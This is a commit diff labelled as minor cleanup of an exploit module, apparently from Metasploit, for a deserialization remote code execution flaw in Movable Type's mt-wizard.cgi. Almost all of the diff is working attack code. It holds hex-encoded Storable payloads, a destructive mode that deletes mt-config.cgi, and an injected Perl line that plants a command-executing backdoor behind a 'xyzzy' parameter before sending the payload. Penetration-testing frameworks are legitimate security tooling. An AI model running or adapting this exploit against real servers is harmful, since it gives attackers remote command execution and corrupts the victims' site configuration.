Do minor code cleanup

Author: jvazquez-r7

modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb

@@ -41,16 +41,16 @@ def initialize(info = {})
         {
           'PayloadType' => 'cmd'
         },
-      'Platform'       => [ 'unix', 'linux' ],
+      'Platform'       => ['unix'],
       'Arch'           => ARCH_CMD,
-      'Targets'        => [[ 'Automatic', { }]],
+      'Targets'        => [['Automatic', {}]],
       'DisclosureDate' => 'Feb 11 2015',
       'DefaultTarget'  => 0))
 
     register_options(
       [
-        OptString.new('TARGETURI', [ true, "MoveableType cgi-bin directory path", "/cgi-bin/movabletype/" ]),
-        OptBool.new('DESTRUCTIVE', [ false, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]),
+        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
       ], self.class
     )
 
@@ -101,7 +101,8 @@ def check
           'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
         }
       })
-    if !res || res.code != 200 || !res.body.include?("Can't locate XXXCHECKXXX.pm")
+
+    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
       vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test");
       return Exploit::CheckCode::Safe
     end
@@ -110,9 +111,9 @@ def check
 
   def exploit
     if datastore['DESTRUCTIVE'] == true
-      return exploit_destructive()
+      exploit_destructive
     else
-      return exploit_nondestructive()
+      exploit_nondestructive
     end
   end
 
@@ -166,21 +167,15 @@ def exploit_nondestructive
 
     print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)")
 
-    res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-        'vars_get' => {
-          '__mode' => 'retry',
-          'step'   => 'configure',
-          'config' => config_payload
-        }
-      })
-
-    if res && res.code == 200
-      print_status("Successfully sent exploit request")
-    else
-      fail_with(Failure::Unknown, "Error sending exploit request")
-    end
+    send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get' => {
+        '__mode' => 'retry',
+        'step'   => 'configure',
+        'config' => config_payload
+      }
+    }, 5)
   end
 
 =begin
@@ -207,19 +202,19 @@ def exploit_nondestructive
 
   def exploit_destructive
     print_status("#{peer} - Using destructive attack method")
-    # First we need to delte mt-config.cgi using the storable injection
+    # First we need to delete mt-config.cgi using the storable injection
 
     print_status("#{peer} - Sending storable injection to unlink mt-config.cgi")
 
     res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-        'vars_get' => {
-          '__mode' => 'retry',
-          'step'   => 'configure',
-          'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
-        }
-      })
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get' => {
+        '__mode' => 'retry',
+        'step'   => 'configure',
+        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+      }
+    })
 
     if res && res.code == 200
       print_status("Successfully sent unlink request")
@@ -232,17 +227,17 @@ def exploit_destructive
     print_status("#{peer} - Rewriting mt-config.cgi to accept the payload")
 
     res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-        'vars_get'  => {
-          '__mode'             => 'next_step',
-          'step'               => 'optional',
-          'default_language'   => 'en_us',
-          'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
-          'set_static_uri_to'  => '/',
-          'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
-        }
-      })
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+      'vars_get'  => {
+        '__mode'             => 'next_step',
+        'step'               => 'optional',
+        'default_language'   => 'en_us',
+        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+        'set_static_uri_to'  => '/',
+        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+      }
+    })
 
     if res && res.code == 200
       print_status("Successfully sent mt-config rewrite request")
@@ -254,19 +249,13 @@ def exploit_destructive
 
     print_status("#{peer} - Sending payload request")
 
-    res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
-        'vars_get'  => {
-          'xyzzy'   => payload.encoded,
-        }
-      })
-
-    if res && res.code == 200
-      print_status("Successfully sent payload request")
-    else
-      fail_with(Failure::Unknown, "Error sending payload request")
-    end
+    send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
+      'vars_get'  => {
+        'xyzzy'   => payload.encoded,
+      }
+    }, 5)
   end
 
 end